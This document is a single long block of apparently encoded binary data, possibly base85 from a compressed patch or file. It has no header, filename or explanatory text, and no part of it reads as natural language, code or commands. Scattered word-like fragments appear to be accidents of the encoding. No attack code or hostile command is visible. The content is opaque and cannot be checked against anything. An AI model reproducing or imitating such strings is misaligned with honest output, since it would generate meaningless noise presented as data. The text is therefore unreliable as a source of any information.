zd!@wfU{!4G!+x&)&AC=t6+R@mzZybgi`voV<(=+wdIxW1Kya!#$nFhsFX(+&#@V-q z=`C-JH)3OpiT`I+?l1St1y)T>iMC)|yX#Ba4+bi4+*j`a2NmOk?^kvNFTD33miMIV zlcadoJAR`!Wo9}u@uk?vL>OC3xu4ile=IgGpUux@(r>oC{q@UPKUxL!kL#B?R+0Bu z7PO$&0E+;tY%DZBd+X2cjNMHuI2hNw+DOi+Fd>cL$S18WjFi>n*X_yJy#_Zh*Qdje zW=^fI&6-mqfAn>dnSObxCA&q{&*p3>VCX7E2wPM1oNt47-jwCQP87Y6Rb~A z+9^VMe|YQbQ%k*Ky&pd}Yecc_f`8tI-Yy>D-_@X0&I%a7mm$mqX+n6GtKgU;&P>Pu zAHa{g!@bWo{)HfDPznF5k)WO!R9L~iH^?o&I85jlKejyU{u_Q#{x?DSc-|Mh;ZBS# zBzVqrD&KwQFZgpNadxTmvCjeCMq8GM&HGd8e(bhd7d*WyeuI9)vMLQYEvUR}j!QMc z9>l=j-{1V&xTjH1R27Auh#dEf6Yp!h-B$|x2Kvg)57TUZ=wE%3KYIm!)f+ZRiDrit}4Tzd3(L_NfI%rf{QM64JExa$b2niwuOiZGQ;c9BFOSLUs zwSCoEYZ1jIEV8+QRt0GltJOOWDpt!PE%|?c=ec(>lLWMXKAJoC-se8c*`9OGbDr~@ zU100@PiT!s(->)4ej(y)+@5pY2solPuU)@u?@ZjLs-O-BsmcPsX(hV=SpT%OOYPrJ z4xuQFVU*@o-x{`0GMMO17pj0|L2^)Z;OQFuRwjV|R(SaDaM+e;GfQ3eB99J-6+fDm z!HQ3>b*$*+4+qcSC17<5~XnO)1NWq7p&%XKUc_Q}7)FXZhli%gpL@7LeoX&s zO8y)v(di9pAJbj_1fT!m)O7iC4|jY&GW@{7i)^`rty|a`ka4{23ik0$BEe(Z|CDIQ4)A5M!T!#Y z)i5jWoHmva_p;(r{G6T7$XKXcM1xuWPjWC8SRDGA%#{kzo;dP|EPv9+?{y}>t4Azg zGnf4O#Ir;=zp+dCZ@HK<4E-%f{|#3=YS4r)9HB$k`cx8^!BUI5#9YVhh3Nw^NW^m!- zywt~$3(9!WHt0gTP!-E&-9B#JyRp3AnUXrJ-G4im-OG(DbN$~1u?fR8fB2`qrC3fu zq;dI#W&Y+Df!xY2H;Ldk^CVygYlQI~;r>GoR&;v;ZBwYAcHB~DEDxr#VW^kXe=ij# zpHRF`iN)$XZ+j7+3rSh|8P_`F(T-4T*!+k=??H>1l=1k0-Mgq?d{{>peA>xcWVA_Y zIqPT5Tcb@b+NSW4(^(JHdZnVugvyvKp>}S9ynjzQDq(-w;Rx)?|3P45H^&gqSOV{W zh9IMBi+$gf(N*{Ug%;9a`HicQ=8vj4>uac#>~OOWa8VaJmC`-2@gKrx#DPC{BG@He z&#Gi!OSp(|SRyeTjIUw2hHVl9B6Zm^MV^yY`y$oerZaGBMS8O<nUKbzP zQawT(NA1-#6{96BV6?_2G?qVCA=nTcahX;&CsbRg2t35Cf2jf+5R>)v(%Hwc=eya* zNwFW(o{GfU&|c13D5q-p-~xL7MRwh&SlhJ~vBq85==fe?+pa^ilHj*-SD(6lxc^_> zf0NrtT@|;JbbGemf6=FQFaGwc!!3~Z{n09LMA!F+>;3?~?`zfN=oW*caN>Vh#IYS} zjNxu|5MeN@t8>@VIl6Rms`7k3`k0TBQ%wH~`}e#ab@gw#Zmoa2tbe<@_peO_()!n^ z`>y^?(yjWp?BCWuQvDC!Sp{ArjK9kcmQ!Grr%sH5Rf*v zN2J`97I!gTm5AM!SwRaAqVCMas8SX6%GZrJ0$?fCn$ib-DxnHF2N5vHbmlPsBOTQo zoMVlk$9_4a{nJhd#Ps61e&5w0EOvBB<4|gLT}?h$0vpDOh}GOi|1?E0b|f2%Arcak z<8A#de2ZxRZRA%aQlgRxl`bL!mY04NRmHz{RnQ}$(c}k%5|p7Vwu6re0wfYs(*1*9 zmOt~$-aGvN%;CRUV`L#le^M%gfBl(4d`InGma5m(kO}Hyjmh7|W8K?oW{SF~f6Op$ z8Fsi_I!BPI#b5L_y|9#dXZ|U0kXm@AXz0TML>@t0|26@~c*+!zpn} zIykxz7yQcHKdQjQ-RvLrAH7dU4}>x*jNS=+9BqXcp*G1KCapf!c4FLaNyN-CVg)Ce zZ?V5!^7q%pD8RvIp3WbrMfm3D@`g-@J4{DIw3~b@+h7U12w5j<8g=`(JS`=N*N7)w zMs)BwDP{8S(RVOlB-XZ1a_)CKaufOl@LUZIY%Ewvy95BEe>-pude?~-b5P;WT1*Zp{{ z?VN@RgiMV-+@!i&bGl-t5BIO==n*rm@X+SfbD)Rud{(w*#=h-|sGP}eN(igbNdy0S zG~5pQllLjmxU)}m{`GK@#9D<~TxFxlW%pRFw(tH$S(>!XdAt>B3bxWRm0LEl#Q&HI z@}=4c3Rr^{x2+YA=tjzntx&N zuHH3uF1L;4dDbIVl|qKfKb7Z7d{#a(C@;sb{|&3lbm9CVylB@KLN~lDo(9g@{v#e! zZ6+(rejw(4VzFrZX<2e5eVM zjTvXC>*f~mBJ0o5)P}FHgW=B8*oBnd98hw=8n%h0p-`!Pf?x-$zNiXsmmAt%yn68;~&*~hsUVH&iNTR zGSy-9!*gAa?NzIKy!{0ASi6std*Odj{6JTiwc(g0AnUSa4T`JFqv`Sz`;625-zirp6d**BWi4XOpa|uaC#z5s|&qr_dq5tT@0lD7vXDjM=9dzA0jY|i&49HD_ z5s||w4=>>g^wSLy9Shywfm1FIYWiHQt7uB@Yp}(ilkdMvH6Vi zL&SifBDkGH8QtE^*Wws^%)PpyX0!b-l=`bJGEoJYhtM8Ml6^=(%(UMH?0|^LVS1r5 z<}KiB{Y&-JjUZ(!2WbfwP(-AzkqB>(*fsM|2H+nnTQaW({Pb=3qMj0SF*mDWf+fij zfhJ9kP;nF*g+KKwP!*B@j9NiCt-A*ujNa4^oT3Xy^##$D(|_5{<-V{09MJH~y`ElYdun#SL&giDaIiEBj*iF1w6LJh<%0fLW{ z#eF9!9DR13F|g#bm;aF30KLrMr1`a~0xykcJ_R>r>-%hf2)a^qp-a-j*-6r#FV(l` zLz>Jn(5g8b?SVym{}YwWKjCKS%cSj9rJRk1`)V+5>0zc?Z$SbR&4GeVK!-p1S`}4A z0DOYmUQ*q}InT#xEX+QxV`mq+L+*wh7szuCxznC@s@yI&M#Gzus%(6_!>M2F;l|J> zJuE#)7HM}o^4Z@>V4(a5&A(R16hSlIS(lTceta8VB)s(sXTp!LT zL6-`9Er;w{V`r7Nlkq0?`E{k{s@dkR zT(6$LB>OXlud{ZN$Zs+VhR%34ycq_&G$`a9o70O=l6JOMRW~dbndp$Tlk~yK^d!`_ z_Ea{zd)fBgRBRoJHFi{(qaz$o9C0XTL$rY0q0Xd>7E~1Ix8y&+2kW=QF~3XnTk}Ay z?OTYUASMN9EZ~{K9VC|IypXK<{BDV(b^b9Xj-0nf-)y1`Zs=0ctIAWfsu_I!`VJkB zTESNIx+{Av2NKjL8UHmx!2-K6k9=fr)o_?4m9Um{P}S0-g?b1`5BeMT zJf7Dm9&!@MUw6A^q5>(a?av}o+s+Rlh%7|2nSPw$BS=F8^V6Q3}Fr52^?++$J6`c%_F5D)KI}sc+U_{2!?>7 zq7n?DG@$R{woWz1{>C)1)-!-bU*k{mxX?)zM)IxYgfdM=!M!)51ZvA06Juwx&QNIF z*>Cz0(nJ@%7))`oZSTgGeAqYUjk-Oy?)}*C&sZ`TFnvYxOri}2aEO|BQAx}A94d%y zmVc2f46z}rV%}vu+VK*iOszwR<>c@NEGFR(U41~594pybws|6u5Vniwj#Q4D-<_R_-jCZ zlF4ArB3*DfS|$hRYH9NKT@+)&(_j0?bh0s#iT$((;(?Upf32Zvr(%uD0mu!T&F*b| zFfb>BD>{{2B_lR2+Ft~G=8X!#G1Z}|Ubsoc+CvGz=~sKX{RbPz0os)nxj|US&Sz3# zAyA{jLZ%E&=@ia5VsRk|3USMb{(3?L!t-3F9&`jv1?Rb#P1~?s-CgECdJ7m~6X7sG zRC|ahy+RY8^?9{im$bm-Ie%29~{xOLq6#4lf_@w-Qj87 zeY$8j-8FM+iJgj~?V16MgR!7k5R<^^jx3lus||G_H&hq+U8LWu=%VG`e2gDgSCVD~ z?;jJDeilTV9|J1Nz0;wQG(Kg;v!XYhMG4g^_HvqTXt|&X#Nyo4+Z#gI&Hs(om_P2y z3vzHVN1JOTXFQkr!e7#+ z!T)!-ur*p4_N@o~`|784p#PcVaLXwf=b@DGOdY9=_NS9g=6>OKh0bqBCk?E3=A&s+ zP$o-$+)pRG!0WO750W0CZ&jt}J1b5O4&$z@$Ppeyh~vn%)U=S6#GKd|=F25PIHJOt zW%1TEagQ7@cuj8G3g@;vGHuZ(G%eYEPG88h`5ebp%5VdjUj3gGS50tS^|ixNWa>Un z=PEt%Z+xkXs}49|w`9tpF&)}%rz^9WcDuK3Pn6R)&2CHB9}v!6e)U6v{7L*aT)qtA zPX<8>%uf~4(Ga5ggW?CO%q__L!BIYdmvm#1bAL;e@^2Md2Z&-ZD31&ts4fFrUv2z5 z&Z*a9jcfXBTSkQ>ZyEbfIu>huDQDZVT=(F0S0Z=YvVx2f1>2To@q|w(!TP=_L+Hmk z|7bsTW|**1&GrJU8}+YIsT~@ZVWXXy8*e+eAl`OS5!^Ph5A3xwyY9Q30-IBJJWnp+ zNyE-8m``p9{U#G)(;9w@e{|oEdmYW2Jc^GB>Wb~7AU;v=vw5%c$MpMTe&5RP5uFLq zNxNF>TYHEuId!u*)GjA_qsNP}ZE$f#ZhLZ4m3Mt-RoNHQr%G!YERd4k(6SHiKtB7Y zUI%YLkHat)Ih<WQ`dgjX#t$v`^Rw;>s(1nzPT@ui)UbI`&e>eeWXK3IPMmHoa36e zvjl!0BUQOS@dfnppLd(e%nk_b)8F@))XWY@{L&^iTmPK}Z9!2}`=ztqp#x3li0xEITFU$OAG808@=@g0WS4V(VSzw3d+L|+FM zMqMP#VL|8*m>X{O)oJ|9WsmX;^Z#i*ke~QX0pOc%e%ctlsg>uJRJC7iQT-PW z)*Z}O*)yj^7f#D=e18k7RYBd}?ogfs>c8lyi`wflPJDWR6l*wJS8LT&%{S_x@Ww9+ z>h_B++^6xKUG+Qu-Af6h7y6<0{l(C4_`rXd8wbx{^UHNr@Jz%76&!etJNnJ-Cs#NQ zqfe4=87$WuEMJLv(}1N7u62vSQuQbH-y`|FusirUlBs4()#Y6fJ4Doi(wW=%&X)Qe zn*y3i8+LAeS!XW;c0*ccB0?QB5_woY{`QO!eUyCLMzq03^lHx$C1!RXjUyG2_kjA+ z&blaZ8u2lO*@T7Bsza?*)rCg>P2Bal8b zPp_ZVCo9#9ZUiy_NU66~uD5-9DYwYxD5l7}*QAk18#fM~4g5+Y5rvI}B(iTvBJIh) z8ARVOh_34eq9eOQG+ny9uv_}bgwI?DpXLnskYKKY`EesaDg9l*G!?*SS1)5VrYWp1 z+f`TKVA4^)qn>i@-MK5pDviYVI5=FdNFO77qpPM62wi;gj=^A~!Qi!CU~t~kp~HNv6@Zq$p+iKH*yl-}yIx;m0a_=n+Vzq*~;a#-~_u>0r5%*6Kj z?xvz;zv?M-KjEWH@^~TSzi^U?(AT^$A=)x#0h<7z$590pOjr?wx2PA5Y?Bos$eKt!K)SaOqA7_k z_uvssNELm?;ItUZuUKD&d2#?%`F;a6f9FSaVSVm+j>MH3=x;qbf&bBBJo9utqNO@t z*P$)dNc!=`#VyrQE1A)#gAL@tyoCGFpZ3chAZg^%?H#Gc#VN z0o+Xo#+uUaHa;glWeU5pclq?L(F0NndU!+h;M9N<1F$&!UnT>wH~n9}f<~riGBTpy z?oEVKzS)w*_Xg|7jk|K{C zN_?`v@h-(bnTtwAOq)d=E^+J|OYQ~18w=MSN-KHM8|MfK-UXkh5~t_Ive#k>d>$+N ztnL^!gu)_w!Hb-JtQG(__}h+>jtz;(tT2sv7#^VFG@v?rBD!$&3D9fK!DEK3tY{fs zL|#pn^yc_-20-er&?0qQwGILDjsf%L7U;7BE9;uOa^0pe!&d~KC{>?#UDwyr36hs~FJIaEY1b$7DS`)Z+mx+V>Bo8A zsD|pZ5Tl}KXq#4!Zhwd|G%FAlLa!DfZY>(`!>;67w_#0JL`}g>|aV2AV zDo1^FRmOQ(>0PUlx;iyd^2f;6Kz)6C)>qlOGgW1FSCz7Eu?+iQKQ0+NrNec?rxQ8# zKz8hKl;}=|u$0kOde?XB#n1J0%4ZqCaosWCc%%B@V&(rE!u;2+vWdK1(KJf10A5z0 z4;)w7ryZ8-H)F6Xb+|P-OHGc_z#S><;uobR&A24y~D^>4E%VamS^te-?3 z?p;S6SVyy*l(QGEv_6hP{y_N^O``=QT>AE=FYv7DOS)pf=?cwNrH*1o3lI2+#7%g@WRO0DH|MQlR&ok-pY0Fjct8#?C^K^{tLc;kfLGzwiPw(T6E!OnQU6A z6{79Y88a$vZRs)Vjyf@8eC3pXWzePTiUVLCTOF$UVoXJ^JB+Egq?5t_+c*1T*apQg+Wsld|4fEe2>818dmC8wfyzS|#Wo&ce6aLl>d0D%tL99o&3Ew?TLS@-E47HG^D?&dg0^i(r0KhGObQQ30Jx!!1a=mv!YPQRZpRfS4ofi)FtDawEM%0#F66kKey zkT&RmCNljVRnrq;a;vctc-vC~?Rx!e(ogTaK15T4^@6#q*uIpALJYC8Pv;F(r1kJm zbyoNASJ4pWzJ{BV%#Jv3l52RHd`_bouJhrUUHjayUobmXt?bYwsY$=uR)8%&>HE1aC6@CG}!5LCbX$MS~RmUW18vpLs-QNQkg!#boD2s$LsziQIfiCIP-sexM;&RCHXElJ#p#x(|~_n5^* z;AACFB9VS#HqYp*ly6mT{QsSv>S(5X#(%C{<3in)UYwOpI*jen1l;U?}KJMP(mS&;mIqvB=nK>*lA-h zvCh;GYZ&5{hY9AXA-?ZVA0n7v*>i|BNOpaQlXTh`RBIwp({XJ>KC5LwG%?m_Gcm69 z1=|$Di40E^&@X@16OQ-o=6|`tr0kPHe;;5A&nS})oISRQL@jS{Pd0J*Tj-o2?RZSK zUezv7EY>^3qH2@;Q+=(gTub}uCUC<=Rb8&W`6$uwFHYsfuNiH=&VKF7uWR_lvVPu^ zs3shmqq|Hk+sU7acTgo1o+~GDfd*TYSlP8#+1Wq0ihp|gAH=_C%vVZdt}U0MTzj$_ zsSvN>ymoqRym&D9cy+KTwSL>zMGxW&NNun*_zG-|D*qzd)EBl>=Y3?5tu3~t+yh=D zd#@@qUdm*?=_WEIFwaLOe!Vw=S@d)_f!Pm%8EyO(5b8x}{)X`-%$zdONlf^|-=gyj z5c6MVloy%%7N<%tI^Hd2XjEH&~kW>7V(-9sqUgHfu60O$Wb-;}2S# zDzeZYM*&{B()}wk^3udRtk`!Ls{MYqYQcX{bAR)cweED4pPf-T(mri4do<)fzO8qlrWx}8mjT{j{dF%X7Tw~5 zY*N;0wx9;#EJ<=y3BzRPTH?1T$lAbG0j;gB9c%-K&~_v$c_9Etn@_YN?TK;rWGAb% zwZZauwE6eI81EGVwt~Y)7sg~uRbv2P(1tya@iR5{njpvzs4Q!Hs zxAr0?qC@4~8zjfxA)1%KopqS_CDOyiTQ~ZDmj)%(LbK1IlD;fhst@3m^bHI3wSw9X z;V<7)$7oeqt}0Jcm8ZwNc(DQ*HEIKZj!0p=&=vBS?agB}SYBQRND3iQ+vMdZ%@502#&wpTl3<7R z;guZ_75%YJmQ222P+MV8>xg;h=Ov$_V1OT1)WX(3Oq@+^u60Ey$SE0ZK7n7F$lXyo zkP(!;J5QN6|4SL{_vja0PIR~mS(UMVY0*V{+ent?Dr6s*^Qc@LMV+-DCXdI%#ljIl zRHRJGdAsD@zFME{deFIa-TNAU#nu(|b)VvTXU*QbHk%w5&JmV;oHcpPFJ+(2dvGRa z$Bix_)n4s~;p@9&gqXE%K>vA!*{-X<-G4dx`-!H5j2stYw-TGbHcBV4edIim1eUKY zE-@WBy~yb#+X|gdQtIYxxUdABWGE$WnwxU=DSJjESuuLiH)Npos&72-STFjl?Cdw~M*wLgGarvT*gvxfrkqg#4lUhq$B%#^3y;YYY*oZTVuw(0^! zgwzgDh)1;fmjF}(G%N8(fwpxW78TZ!qD}I-a>uh|uH*xZbv21FVeJ^30;-u(zsRXO zP@ZFYEHF8kc@v)wskdsHnK$Cf@q;I9ui?3MRFPlKQx3ZDGH3 zt^xn8PD~W11`4uP{Rj550FLBq^|O&%FW1jTZgKd~rFrALD?U#RE8hC%xYoZ{+T@lf zqKYmkIr?%3du4J8vR8C9%zr|Bk49U9t(l|E1>=i{G1epj4i!)(5i|R?+d~5QlJo2c z1|#i-m8-XoFGO%YZX6`51el|_ZY^375~yqIp6cj#teC$>wx}ahpf4} zy|VPp+E>#*G+C5lMCp$J_EY~a4}REL)!9)cabCblczJyk4)IZYVydJZz=<|rVZS7C zCh#lnos&m2SLGrzAI{~8SgO0|fj?V%(4EthmKx!~L;dUFA^hE0y)Ce%?SDH%lYB$3 z``co!D z+C<_?6av81SvNx}0h*aRs?dM*1Bd1cO|h)nq@804Gd_=VM&uxK-~XDK`_8_)x4)Au z6(RwQ9@0XJw>BoOWEg~p|XkyD>{!Da=pabRz32)?Gv zc(m;;&B4<|gx|k_zNl-QI1_Fip_as{MqNQL`BA@@pmR5}e|77X*IwJ}0D0fb`2HIa z9r;6VBD%U)5lvt}{A4~fQ*z*M|K94}$D~8W1JOM};X_VzkK-q7Sh?<<%B@T4>pmyG zY&CjG=hEZ>f%7X-FDh5`Qa!Z6{P=qG)@yh)Q#wxGf#TYCf}$qhFHmvG%uoF-4}|lA z-`o^%W#Zn9>Ap*_1;3np8)!;!kM-@9V~UH_353(ZEtlmLOR^3pWbxHtZ80|FpSHHR zBPZ%9KoDm@v}u9;SUqoWed%#mw?~_A(0wPHFW-!9!_Bkv^u~9yW7+GKGyF{=;kPCZ zg6kkn`10OJqRBl4iWv?SWZ zN!38?pV3A|R5<(hXdZhGW`@@2z`ys*7{ovl0?mJfy0%`iu z>rw9mL@BN1l(0@y61{Ofx8VW@Ps*Y^siEb7*ecg*UGEarA)yo8~mFX6dVHu`a6GXb7dZb5%Gu!mN&P`gmgzhplIbdE%_BUlp8~=l7A6Dpb z7kdwh-ErLlFYTnF^e};MFvy4M{Mc`_c-I67U8az0RJ7EZL545md;JURv3bQyTNmX8F?9k9~>%I-feuXsO*B zE$8{@&D+$5cU_;@aHfhbd_OPawCQ#DS(5NzN8e1^r$n0{5#KjTlhW zcn}^kAgvL`s3gnS%5EUqxon~l%{6xB)pGV@Dh4P-l7Qfyor88!5WVd+U=)BJnta}$ zPC%6`)29F91%nIWLrlj_RW^WX&NZwRN#i+d89?~o7>#;oe)J}j->?dRsle9NlEA+O zry zE4$wR6W8`G72iK|PP!aS4A|Mb7?k{*$$7$=wh^8jbOt25ZTZK38IY@#1_Q)@ANs3A z>4;=!>G;>P1Fq{f4M~9|lrlT~Kl~uQPsv84v9*8op4&$sMuvNJatP22vgaJ{ zzcI6WG70#E2w3qy`y=OT`BQtv7U)XCo*QSYDO+EPl`W0lc%^O;@YNbYjdbt3RkHPY z*#}w}3cuAf!WMWbd7UiOt_`H276NOkQ0OVAFRQZG$qw7w0=SZ+B*j>Pv&;dAvd{bv z*pL~P4fkeC`q!wUY0nf;h1u&H*`G9vsqyiZxb~+X;9UDgonHP=Zwp-eLAD|D?*Heb z7%LE%*uiFVt)=uAUxrWosq8;CwjY7jaN=oi57h~SvX28m2N`CoI+u+rTQ>JZRuGF1 zs;vKa$@HW6TXtRX`QCurD;t;VBhVSlynSM}g}|y6=xH%z)qJxAp?R zr#F8Y{EoRN9e%t1wj21t*|>pBKV8S#f8(y)>HSvZ|lHnZvE08pJv)U-__d z+bd&Q2B2(g5crl$$YTft0ci)21>i7Mp%!O;>oybgTl~h?p`l<&Ti`P2O<=I+EN8G| z2QXOXah{T(NZORv)j0n*sR5EXDF~F~@ZN1T4C-Brjq0G8T+2DM#l$o^-Hwgq@C{Iam}1nXPs5eW$_EmWg7x=y20j z6ph1!aU_HA$`8CEFso&r32W>8HK&Qhf@n_XKML=(bXGe#jF?Fe`8HJ z_{@>+((U{|%K?dxhU-?A)VSXvMm%aLUrLStGV;Gou$d zu~USP`ia*QN`Kk^eBCbX&W$#c%}z>JpSrxO8%n24t35ICkbBZM+WaeiMISG?y5Wl{ z)9Uirele=Ow$SdP%{TLoCnrUl=c;^L;Xhw9gYmN^W3w#a;4Mi=f=vQ3>J9qiuA$^d z{lPJmW?L{E&w8KOzO<_#@_X?>-g||kKN*VXUt4z>jt1Lb4$fkLQHO(DaLcE{se2;g zr6!=j_Y*&4DbX7=;O~6zQW}TFdil^B^upT*(Omv>pB#vZfc)|ozyDsk-XLhh=_I=F zvuo3-UhHG4>)=ETEjoif=60hGNCUUmxe^QPtBTxx3><$^ffBg<`vdVeda&NKYJY2Z zHhO`7ts)sxr=6gNI&u=QHW=9ARBFBj{~r{!>R^m5#pPD(#4e zhATuw6Jm{}9Cnhcm(WnP|1xTpCgdiwe|R+5(Hh_=5nvQ^z3(;b54|bsWOa^6!OQ;~ z3BYMK0#S90M6Yd^a#2!f1rO|FLuSY0gaQ(PGuQbK{77A;*!0O1tD)Fn&cA+NkfGSL zVODII|BFY4ATa zRV;-6!B#8<|AVbS@9@9PViFwu&wM=%{&=qt`@3ud>;|~`xMVuur4Q*HPLdQdgedO4 z@>9k5oZGWF{fpjE<&T)Q8%#||hxeW$(<$Ka)x~6PzFESZQ#;O0)bNSjpB; zlpkJhKjSb_4@?*r|FQK#iYHv+w4_I;fY@X6G7x)jO$xE#pc`X7@@{v;p5JbaMOv#g z#J0L(+5;RgR!gc_8e*?V6$=sj9V>A~YT zi)mkCG2}s*^hIJBFEqIqK-=6+LveRRj(gH!Z!%0cjh8(aY6K;>o5Iem@F#t*cVwDr zuL*`ghdAe3B)(Go(DxjFGOnp~75P{#Owk+3$CCr3)+k{`J*f20HstCj?25}+;gjk# z0!OMLpO%IinycWMxvR7L-WsB=wuVEmQY^*+je>uR8uT zuU_M3FfLhB^M*DcRL?n4iDZeV9K|JKdFn7sFzyVa~T=7o71e7d;+W1dT z{6nn&g#-So{#V0ug-iZyKUwJ<^vugPD##R)bwe_eeSag*z5KgWGWBM+Br7pq;=eLw z4|Ho1DRF+!wFXDOjZXf|68%mS{X)87TF%Fc7f8++>7HhSrm47|Cpxis5m$f1J`zJ{ zZCZd;Cyn?4kb=uhAYnbKWGIW)qTO`SDomqgVlOh{N|5+qBm;@JT^=BDesR5O=uWQ3 z{H;44pKt92kCCug3XjXJm~o2m_}*VtkC7|=Nf$>o{v|@2e;Faz^*-V}z*|NJM1VfS*+7`BPW4lnZG|L&LJ+GZc6 zc&|tt)JlasK6->I;!=xvnR1^@P_21ixYxykM`P3sbl`Gm#Kc z9gfYdKP1)ZPP7Q2*mc@;_|#n&PW_Ur)3KINX0I1y%d@#Vmk6L-+~hg)NZdgFiGGB- z473CSq8Q5TY_P4dze+;5l_!bSLidD?hpDyo?XG8Oqq@{G0!w2;_bN!U;PLqI4Qe#5-f2f`1$%ww11=7p?#KuGv<<_)Rwrg&lB21 zsoQDMg(E9lw=}*V#VN^>&#nP;*dRjFpU&OeiYKqE?C^6~PtK_g9$cshCARUDt%^s_ zU!ojP8gUh=l!m{AfAaMBkk@10z>zF`vG*9ttq^m=c^t8@#P4fnjULkYFl!+`+*Xd5 zTY!X=oz}JOiD#*@;S0wkTKNJbxqu|K{w2`-i05sWh*`$HGB(Q}_K@S0nBWe(NACIq z5F450Al98x1Th$8=^L34JKQ29+9skrfpR!;Z`7O>%-g{I8f> zInH*-bqURd6MIh;+~0CVI{!GHq{hLCyL!%RAr)%}^&D1fR$P&w(5l4tl+rj@KN8zf zG~^8T=y)Mb#Id&hMYEWq_T>s~uwjWv7OP)38_*{uYB53|0ljJJ=wv~UonZb&T2#cZ-W3`h19a5}x(Na3D6G%$ z;m+#XW9OQvYF(;ba1Nd|e)Aj$&#;dCVuM=wPzNX+vo2fIA)WfuQtu2yo)MVsFNZJFNp+5_4H@4IA-^S&<@a#85p?J6g0 zUUA$T`nPcdu?QwXf&{%eg^$Us$Y!ax@jo216-SF?S5@n$0>Z4y#Vo2)QudIo+T{79f_Z9Qsk6(it5gticubu_6M+C7`u}>4+@a|H17=AhgKl_{-AF_xG^#!%;CG`qI7&KIynf4GCk2darEZ_ zzFD$lD(%9y1HL0(tq)Ed%BLXw^bp}6MnU**wh7_qy}UbwKS%sPxJ-l2wz*zvGA!+W z3(2m#l?5QV$X~eDko^5sDI^C)+szzoiA=~Fjn2>@E;2(X+N1!lc3DHw=5_oed#^4HJKh<1&)4dX!>%@JoAt|tze@RfBATulO^dlvlv5>F2{rH9$R`zhMW_uIq zXp;X*H?&;JzJwWC@7BxE`kOSPUhd_Cu3TrmG|&U7X%C$I zSZnfQbH@CP+=!>9T$`-rnbC2b$p6z>U>&KAN{J@>lv6Y}=-+s6u;alt}~wptuNGi9@Cd&H|z2+pnmUwCoA^Mb9c9L^iIr`;;SrQ@(|41N(xRvU+k^Zv zKVY%EQX8y@`6S29u8Fbem^TQos4821!v}brDxyDM!S<LPP9x_>$=vZ@m62Rh-rSbsRUwz&YirM{X99| z`s?C)`vRhG8DC7&1`&RMFBC_XaabRSx1DZveNox@hH%3Hb-Z=JNb=8&B>xOfu`5<-uCs$4u_nil%++>f(l1~VaS%$JvuiI<=tk?? zC{VH)(DtMTu^&c*O*|6xc5+-1-(s3LX-nvBlf6$OY9rM_PxS#zN!|+Pk9*%%UtR8O zZJTBIS_U);A`lU1ILa~l(X)vZyy{H4t%EZg#TJvbKHh;-Ves)%!op+zVH zn1YY`pQ7n3=Ad{%yBdchz@4~4z-4~Iy<|zA4;JhdHw=@(Xd?Lz`$N+5u7rg0*JUb#4j~2gJB3svo#Mb zN&@-{JgP2A4P+Dk?qe*0??>2 z)e1lMSFzNYe5FFjfC>vNSfa*j>}b8#oDl@sk08h%luuqRl;aM+Y(y^p<<{+rm&#FC zhgJ^)%Ih(HbyhKjw93Y#wgRSG8F734>Wm%S6ctrVNX>cuL2Gcj>D?9^>?@f*(X zowK^nEcfhbhg6#Wm*QJ%NPx8cuc`dj`=WmlxRkDZ!GFR2dGm8?|GfO%@0d2l{(01| zm%^E>_v=?^zrb=o>?O@F@T;@Y$obXrPwsCm=2?p*h^0lBB|zK!Y1`>vegvxNmS4f> zL6HY(n{=Y{Ba{p_>JZ8;`LZ=Se+#Zarq<|9KUO`=Xv6ADCp!OKwCQP4WZ7rY8?UjK z3T&=*r{tZY`G03s_t<6~qnS0Ajs8$-3Rl&diV>-V>?bT+3He~|(fY`#ieJMUd9a%C z^6y-cS~Z27l@Vn1l9WV3Ms)=Y!;otKR01K)5@UJ5JMp1MUC0GmVOto}6l+Zj#=hJ? zr$>ij3&k`>=hsU@leWvc9{MjgM4Php96n;x%v;gsJoJ>V{S}<3aAQpHYuuh4y>X;| z=`2+3zkE~sC^YoKze!TH>NdXKiIbZ;vNNDt_1;-mu|RQLW}_jYdR-cA}+KmVWfVP4&PGv}+BTQZwj!1|MaH zMSEz*%V?(a;a*4M-$65n2hAMdM)R!&-JAL2(?G4=sVYt|qzz|iMmu-)-cG&RS^SR- zsI9xddplKXC%u_W`dB7+wzwjDOr)&Kex%#Wzjib-S+*qVE#}xj-UaXM? zTWmiuT;KE$;-@ofUxxJCyJi&AKPSf0XUW87+}PLb!L-;By=|#zFsMA`p*}}G%l5j{^un|@^q&%|KLBLd4i=;UD7{Dk zmEt7uBrj0?fy;AWdg1)r+3L^#XO-*=c#^JWRYk|HtF&L^qGQ+U+^LV!Mu7JnKT9sn zP2>D-;@bgEw7C@@svfc7n_p6p)k*Y&jqK+(Lz<(2f+6@fvE?h6AJHG0OY{YESdB

a{?WX~R16eV?F^v{VO>UmDWC-S3*c&XasY5Q==XL? zv2rUf5`g#@_XgF_?Ks4_fLl2g9|X02SE}zO`Rveeyrk^{aCLuT~4iN z(_eUyn87$?_Q%j4clE8E>8Sj28(lzZ{}!pCEigZnIto8pz6Om{ey}e3RZOitfqn<@ zJ8^)jNfi~TN1N`oLXOC9Q=w0#h=gRldSpn}ADwJ%MQ{6^`W;jfef&TpL)`E;;D!%( zJUmPlJYdJeuT_~B*>W55vTYMJ0PGH{AUxDGJmZ`o65`w&%LgoqAvC+fTIwcAN(Co( zciE6E+a(T{5OeuSPV%~NszfQm@pca7x5U|9cEQ9UJGT| zu#TI|f1gb)p?qM^&0i@e`B2T;Pc{zFSCUog%mj&xdey90pkOaiTY1%!+E{bqIb7mx zk#lvY^;v~inHq|2S*_Ru_bulVH+?`I#*KdXV@voWOHH>GHvg9NZf%7(*=5kpTw?TC z#np3_mLS;96?2JQ?4Qo~y4lR^AW~G=*7;EWr!V;6o44vf%o}ho!82)rnKnl|A?DZq`Ms1IY1l)e=)jFsAOr`bh?e9H z`uQybv+P*YuoAy$?*!*xQ-MQf>uS;eg&(A=Qo=!zIrYr^?Q(JZJ5Q5nkn<0;L#F0M z$N87CY)b^I(!`J0g`BQ<1;3qr{x?|%-RyIj=I{heV4${ORZ&CRY?_*0pnjCF@24nZ zc6k-tB(6|xaNRIe_wh@fo=}>&&rk7}wAQw(7Is8ua z)7QAQC}FdT?5AkcEGy=w7VYCnyvv`|)bhP!!l~tU*GTlXU(!dbhIu8mzN?8PT;KgA z71+cg{jvEDRp&*1)C!9o_okCd)e=284@{*9=ah~=iqX2}lpz-KV60)zO6{V$&&s6F zCOa<&f5yZcFj>?i&ha?`fC=fh44&;R(B z$aBxH;xVO{)H`amC!p-+;QtF2X9W6#OeMM!Sf<0#qV>_)`439peBtN7Wg?J0| zAEP)6!M0aE7LEUtXP^FwXP(}deNj6?Y#);VsLB|Y$) 